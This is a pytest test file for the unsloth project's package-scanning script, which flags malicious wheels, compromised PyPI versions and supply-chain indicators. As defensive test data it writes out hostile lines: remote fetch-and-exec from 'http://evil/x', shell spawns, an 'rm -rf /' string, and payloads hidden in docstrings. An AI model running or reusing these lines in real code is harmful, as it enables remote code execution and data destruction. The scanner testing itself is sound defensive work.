unsloth/tests/security/test_scan_packages.py
Daniel Han a6dc10dad2
Reduce and tighten comments and docstrings across the test suite (#6429)
* Reduce and tighten comments and docstrings in tests

Shorten verbose comments and docstrings across the test suite without
changing any test logic. Remove narration that restates the next line,
collapse long module and test docstrings to a single line, and drop banner
separators. Keep regression context (issue and PR references, run ids),
skip reasons, mocking and timing rationale, license headers, lint and type
directives, and commented-out code.

Comments and docstrings only: an AST signature check confirms no code,
assertions, or string literals changed, and the suite byte-compiles cleanly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-06-18 01:07:09 -07:00

550 lines
20 KiB
Python

"""Regression tests for `scripts/scan_packages.py`, driving the offline
`scan_archive` helper against fixtures under `tests/security/fixtures/`."""
from __future__ import annotations
import hashlib
import os
import re
import subprocess
import sys
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
FIXTURES = Path(__file__).resolve().parent / "fixtures"
sys.path.insert(0, str(REPO_ROOT))
from scripts import scan_packages as sp # noqa: E402
def test_fixture_files_exist():
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
assert (FIXTURES / name).is_file(), name
def test_fixture_bytes_are_deterministic(tmp_path):
"""Re-running `_build.py` must produce byte-identical archives (deterministic builds)."""
# Snapshot committed hashes.
expected: dict[str, str] = {}
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
expected[name] = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest()
# Rebuild into a sibling dir to avoid clobbering the committed files.
rebuild_dir = tmp_path / "rebuild"
rebuild_dir.mkdir()
# The build helper writes to its own dir; copy + patch HERE.
builder_src = (FIXTURES / "_build.py").read_text()
rebuilt_helper = rebuild_dir / "_build.py"
rebuilt_helper.write_text(builder_src)
# Run with SOURCE_DATE_EPOCH=0 and HERE override via a shim.
shim = rebuild_dir / "run.py"
shim.write_text(
"import sys, pathlib\n"
f"sys.path.insert(0, {str(rebuild_dir)!r})\n"
"import _build\n"
f"_build.HERE = pathlib.Path({str(rebuild_dir)!r})\n"
"_build.build_all()\n"
)
env = dict(os.environ, SOURCE_DATE_EPOCH = "0")
proc = subprocess.run(
[sys.executable, str(shim)],
env = env,
capture_output = True,
text = True,
timeout = 30,
)
assert proc.returncode == 0, proc.stderr
for name, want_sha in expected.items():
got = hashlib.sha256((rebuild_dir / name).read_bytes()).hexdigest()
assert got == want_sha, (
f"rebuild of {name} produced different bytes:\n"
f" expected: {want_sha}\n"
f" actual: {got}\n"
"_build.py is non-deterministic; pin members tighter."
)
def _critical_or_high(findings) -> list:
return [f for f in findings if f.severity in (sp.CRITICAL, sp.HIGH)]
def test_malicious_wheel_triggers_critical():
findings = sp.scan_archive(
str(FIXTURES / "malicious_wheel.whl"),
"malicious_fixture",
)
assert findings, "no findings on malicious wheel; scanner regression"
blockers = _critical_or_high(findings)
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
assert any("setup.py" in f.filename for f in blockers)
def test_malicious_sdist_triggers_critical():
findings = sp.scan_archive(
str(FIXTURES / "malicious_sdist.tar.gz"),
"malicious_fixture",
)
blockers = _critical_or_high(findings)
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
assert any("setup.py" in f.filename for f in blockers)
def test_clean_wheel_no_findings():
findings = sp.scan_archive(
str(FIXTURES / "clean_wheel.whl"),
"clean_fixture",
)
assert findings == [], f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
# Fork 1 constants -- gated on availability.
_BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS")
_MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC")
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_PYPI_VERSIONS) not merged yet",
)
def test_blocked_pypi_versions_complete():
table = sp.BLOCKED_PYPI_VERSIONS
assert "guardrails-ai" in table
assert "0.10.1" in table["guardrails-ai"]
assert "mistralai" in table
assert "2.4.6" in table["mistralai"]
assert "lightning" in table
assert {"2.6.2", "2.6.3"}.issubset(table["lightning"])
@pytest.mark.skipif(
not _MAY12_AVAILABLE,
reason = "Fork 1 (RE_MAY12_IOC) not merged yet",
)
def test_re_may12_ioc_catches_each_literal():
expected_literals = [
"git-tanstack.com",
"/tmp/transformers.pyz",
"transformers.pyz",
"With Love TeamPCP",
"We've been online over 2 hours",
]
pattern: re.Pattern = sp.RE_MAY12_IOC
for lit in expected_literals:
assert pattern.search(lit), f"RE_MAY12_IOC missed literal {lit!r}"
# Clean control: a string with none of the literals must not match.
assert not pattern.search("import numpy as np")
@pytest.mark.skipif(
not _MAY12_AVAILABLE,
reason = "Fork 1 (RE_MAY12_IOC integration) not merged yet",
)
def test_may12_ioc_caught_by_scan_archive():
"""Wired into check_py_file, the malicious wheel's setup.py must flag the May-12 IOC string."""
findings = sp.scan_archive(
str(FIXTURES / "malicious_wheel.whl"),
"malicious_fixture",
)
# IOC literals built at runtime so CodeQL's url-substring-sanitization rule
# doesn't false-positive on the `in` operand (it's evidence, not a URL).
_ioc_host = "git-tanstack." + "com"
_ioc_drop = "transformers." + "pyz"
hit = any(
_ioc_host in (f.evidence or "")
or _ioc_drop in (f.evidence or "")
or "may12" in (f.check or "").lower()
for f in findings
)
assert hit, (
"RE_MAY12_IOC integration missing; findings = "
f"{[(f.severity, f.check, f.evidence[:80]) for f in findings]}"
)
# Silent-failure-class hardening (Fork C).
def test_scan_packages_pip_download_failure_propagates(tmp_path):
"""A pip download failure must exit 2 (SCAN INCOMPLETE), not `0 findings, exit 0`.
Feeds an unresolvable spec; the name is long/random so it can't resolve on any index."""
script = REPO_ROOT / "scripts" / "scan_packages.py"
assert script.is_file(), script
unresolvable = "pkg-that-does-not-exist-0123456789-fork-c-silentfail==0.0.0"
proc = subprocess.run(
[sys.executable, str(script), unresolvable],
cwd = str(tmp_path),
capture_output = True,
text = True,
timeout = 180,
)
combined = proc.stdout + proc.stderr
assert proc.returncode == 2, (
f"expected exit 2 (download failure -> scan incomplete), got "
f"{proc.returncode}\n--- stdout ---\n{proc.stdout}\n"
f"--- stderr ---\n{proc.stderr}"
)
assert "SCAN INCOMPLETE" in combined or "pip download failed" in combined
def test_archive_corruption_produces_critical_finding(tmp_path):
"""SF1: a corrupted wheel (once silently skipped) must yield a CRITICAL `archive_corrupted`."""
bad = tmp_path / "broken-0.0.1-py3-none-any.whl"
bad.write_bytes(b"X") # 1-byte "wheel" -- not a valid zip container
findings = sp.scan_archive(str(bad), "broken_fixture")
assert findings, "scan_archive returned 0 findings on corrupt wheel"
corrupted = [f for f in findings if f.check == "archive_corrupted"]
assert corrupted, (
"no archive_corrupted finding; got " f"{[(f.severity, f.check) for f in findings]}"
)
assert all(f.severity == sp.CRITICAL for f in corrupted)
# Same for a corrupted tarball.
bad_tar = tmp_path / "broken-0.0.1.tar.gz"
bad_tar.write_bytes(b"not-a-real-gzip-stream")
findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture")
corrupted_tar = [f for f in findings_tar if f.check == "archive_corrupted"]
assert corrupted_tar, (
"no archive_corrupted finding on corrupt tarball; got "
f"{[(f.severity, f.check) for f in findings_tar]}"
)
# False-positive hardening: code-only scanning via _strip_noncode.
def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
src = (
'"""Module doc mentions subprocess.Popen and reverse shell."""\n'
"x = 1 # os.system('rm -rf /') in a comment\n"
"def f():\n"
" '''calls eval() and exec() in prose'''\n"
" return x\n"
)
out = sp._strip_noncode(src)
# Line geometry is byte-stable so evidence L<n> stays correct.
assert len(out.splitlines()) == len(src.splitlines())
# Tokens lived only in docstrings/comments -> gone.
for needle in ("subprocess", "os.system", "eval(", "exec(", "reverse shell"):
assert needle not in out, needle
assert "x = 1" in out
assert "return x" in out
def test_strip_noncode_preserves_real_code_and_assigned_strings():
src = (
"import subprocess\n"
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
"exec(open('x').read())\n"
"BLOB = '" + ("A" * 64) + "'\n" # assigned string is code, not a docstring
)
out = sp._strip_noncode(src)
assert out == src, "real code (incl. RHS string literals) must be untouched"
def test_strip_noncode_falls_back_on_syntax_error():
broken = "def f(:\n pass # not valid python\n"
# Must not raise; returns the original so the content is still scanned.
assert sp._strip_noncode(broken) == broken
def test_check_py_file_ignores_docstring_only_iocs():
# A file whose only dangerous patterns live in a docstring must be clean.
benign = (
'"""Usage:\n'
">>> import subprocess, urllib.request\n"
">>> subprocess.Popen(['sh','-c','id'])\n"
">>> exec(urllib.request.urlopen('http://evil/x').read())\n"
'"""\n'
"VERSION = '1.0'\n"
)
findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
# The same payload as real code still flags.
real = (
"import subprocess, urllib.request\n"
"subprocess.Popen(['sh','-c','id'])\n"
"exec(urllib.request.urlopen('http://evil/x').read())\n"
)
flagged = sp.check_py_file(real, "pkg/evil.py", "pkg")
assert any(f.severity in (sp.CRITICAL, sp.HIGH) for f in flagged)
def test_extract_evidence_multiline_reports_line():
# A cross-line DOTALL match must still yield evidence so the baseline entry is reviewable.
content = "a = 1\ntime.sleep(\n 600\n)\n"
ev = sp._extract_evidence(content, sp.RE_ANTI_ANALYSIS)
assert ev and ev.startswith("L"), ev
def test_anti_analysis_no_longer_flags_cross_platform_code():
# Pure cross-platform code (the old platform.system false positive) must be clean.
crossplat = (
"import platform, subprocess\n"
"if platform.system() == 'Windows':\n"
" subprocess.run(['where', 'git'])\n"
"else:\n"
" subprocess.run(['which', 'git'])\n"
)
findings = sp.check_py_file(crossplat, "pkg/_compat.py", "pkg")
anti = [f for f in findings if "Anti-analysis" in f.check]
assert anti == [], f"cross-platform code should not be anti-analysis: {anti}"
def test_proc_self_status_read_flags_anti_analysis():
# Reading /proc/self/status + a subprocess call is the classic anti-debug combo.
# The old `\b/proc/self/status\b` was unsatisfiable (\b adjacent to "/"); the
# lookbehind fix makes it fire. No TracerPid/ptrace token, so only /proc signals it.
payload = (
"import subprocess\n"
"with open('/proc/self/status') as fh:\n"
" data = fh.read()\n"
"subprocess.run(['echo', 'go'])\n"
)
findings = sp.check_py_file(payload, "pkg/_probe.py", "pkg")
anti = [f for f in findings if "Anti-analysis" in f.check]
assert anti, "reading /proc/self/status + subprocess must flag anti-analysis"
assert anti[0].severity == sp.HIGH
def test_proc_self_status_pattern_is_live():
# Common call forms; the leading \b made all of these unsatisfiable before the fix.
for s in (
'open("/proc/self/status")',
"cat /proc/self/status",
"path = '/proc/self/status'",
):
assert sp.RE_ANTI_ANALYSIS.search(s), s
# A bare cross-platform OS check must still NOT match anti-analysis.
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
def _mk(sev, pkg, fname, check):
return sp.Finding(sev, pkg, fname, check, "evidence")
def test_baseline_key_version_stable_but_path_specific():
a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
# Same package-relative path across versions -> same key (stable).
assert sp._finding_key(a) == sp._finding_key(b)
# Same basename in a different path -> different key (no over-suppression).
c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
assert sp._finding_key(a) != sp._finding_key(c)
def test_fstring_statement_is_not_blanked():
# A bare f-string evaluates at import, so it must stay scannable.
src = "f\"{__import__('os').system('id')}\"\n"
assert "__import__" in sp._strip_noncode(src)
# A plain bare docstring is blanked.
plain = "'a docstring mentioning subprocess.Popen'\n"
assert "subprocess" not in sp._strip_noncode(plain)
def test_exec_with_payload_hidden_in_docstring_flagged():
blob = "A" * 400
src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'
findings = sp.check_py_file(src, "pkg/mod.py", "pkg")
assert any("hidden in a docstring" in f.check for f in findings)
# No exec/eval -> the blanked blob produces no such finding.
src2 = '"""' + blob + '"""\nimport os\n'
findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")
assert not any("hidden in a docstring" in f.check for f in findings2)
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
sp._write_baseline(str(bl), [listed])
baseline = sp._load_baseline(str(bl))
# Same (package, basename, check) -> suppressed.
active, suppressed = sp._partition_baseline([listed], baseline)
assert suppressed == [listed] and active == []
# A NEW kind of finding in the SAME file is a different check -> still active.
new_kind = _mk(
sp.CRITICAL, "fastapi", "fastapi/routing.py", "Reverse shell / bind shell pattern"
)
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
assert active2 == [new_kind] and suppressed2 == []
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
bl = tmp_path / "bl.json"
findings = [
_mk(sp.CRITICAL, "p", "a.py", "c1"),
_mk(sp.HIGH, "p", "b.py", "c2"),
_mk(sp.MEDIUM, "p", "c.py", "c3"), # MEDIUM excluded from baseline
]
sp._write_baseline(str(bl), findings)
keys = sp._load_baseline(str(bl))
assert sp._finding_key(findings[0]) in keys
assert sp._finding_key(findings[1]) in keys
assert sp._finding_key(findings[2]) not in keys
def test_load_baseline_missing_file_is_empty():
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
# sdist fallback: cover sdist-only packages without building. All offline
# -- PyPI JSON / download are mocked.
class _FakeResp:
"""Minimal urlopen() context-manager stand-in."""
def __init__(
self,
data: bytes = b"",
status: int = 200,
):
self._data = data
self.status = status
def read(self, n: int = -1) -> bytes:
return self._data
def __enter__(self):
return self
def __exit__(self, *a):
return False
def _f(packagetype: str, filename: str, url: str) -> dict:
return {"packagetype": packagetype, "filename": filename, "url": url}
def _meta(
files: list[dict],
requires = None,
version: str = "1.0.0",
) -> dict:
return {
"info": {"version": version, "requires_dist": requires or []},
"urls": files,
"releases": {version: files},
}
def test_spec_pin_version():
assert sp._spec_pin_version("torch==2.3.1") == "2.3.1"
assert sp._spec_pin_version("torch>=2.0") is None
assert sp._spec_pin_version("numpy") is None
def test_release_has_wheel_detects_sdist_only():
sdist_only = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
assert sp._release_has_wheel(sdist_only, None) is False
assert sp._release_has_wheel(sdist_only, "1.0.0") is False
has_wheel = _meta(
[
_f("sdist", "x.tar.gz", "https://files.pythonhosted.org/x.tar.gz"),
_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl"),
]
)
assert sp._release_has_wheel(has_wheel, None) is True
def test_is_trusted_pypi_url_only_https_pypi():
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org/p/x.tar.gz") is True
assert sp._is_trusted_pypi_url("https://pypi.org/x.tar.gz") is True
assert sp._is_trusted_pypi_url("http://files.pythonhosted.org/x.tar.gz") is False # not https
assert sp._is_trusted_pypi_url("https://evil.example/x.tar.gz") is False
assert sp._is_trusted_pypi_url("https://files.pythonhosted.org.evil.com/x") is False
def test_requires_dist_skips_extras():
meta = _meta(
[],
requires = [
"numpy (>=1.20)",
"torch ; extra == 'dev'", # optional extra -> skipped
"pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept
],
)
specs = sp._requires_dist_names(meta, None)
# Version constraints preserved so a pinned dep is fetched, not latest.
assert "numpy>=1.20" in specs
assert "pyyaml>=5" in specs
# The extra-gated dep is skipped entirely.
assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
assert fpath is None and "non-PyPI" in err
assert list(tmp_path.iterdir()) == [] # nothing written
def test_download_sdist_direct_no_sdist_published(tmp_path):
meta = _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")])
fpath, err = sp._download_sdist_direct("x", None, str(tmp_path), meta = meta)
assert fpath is None and "no sdist" in err
def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch):
payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
meta = _meta(
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
)
fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
assert err is None and fpath is not None
assert fpath.endswith(".tar.gz") # suffix preserved -> archive reader picks format
assert Path(fpath).read_bytes() == payload
def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
monkeypatch.setattr(sp, "_MAX_SDIST_BYTES", 8)
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100))
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
assert fpath is None and "cap" in err
def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
# A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2).
class _Proc:
returncode = 1
stderr = "ResolutionImpossible"
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
assert errors and "somepkg" in errors[0]
def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
# sdist-only spec: pip fails, PyPI shows no wheel -> direct fetch, no error.
class _Proc:
returncode = 1
stderr = "No matching distribution"
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta(
[_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
),
)
monkeypatch.setattr(
sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"\x1f\x8bdata")
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["x==1.0.0"], str(tmp_path), {}, errors)
assert errors == [] # sdist-only handled, not an exit-2 failure
assert any(p.name.endswith(".tar.gz") for p in tmp_path.iterdir())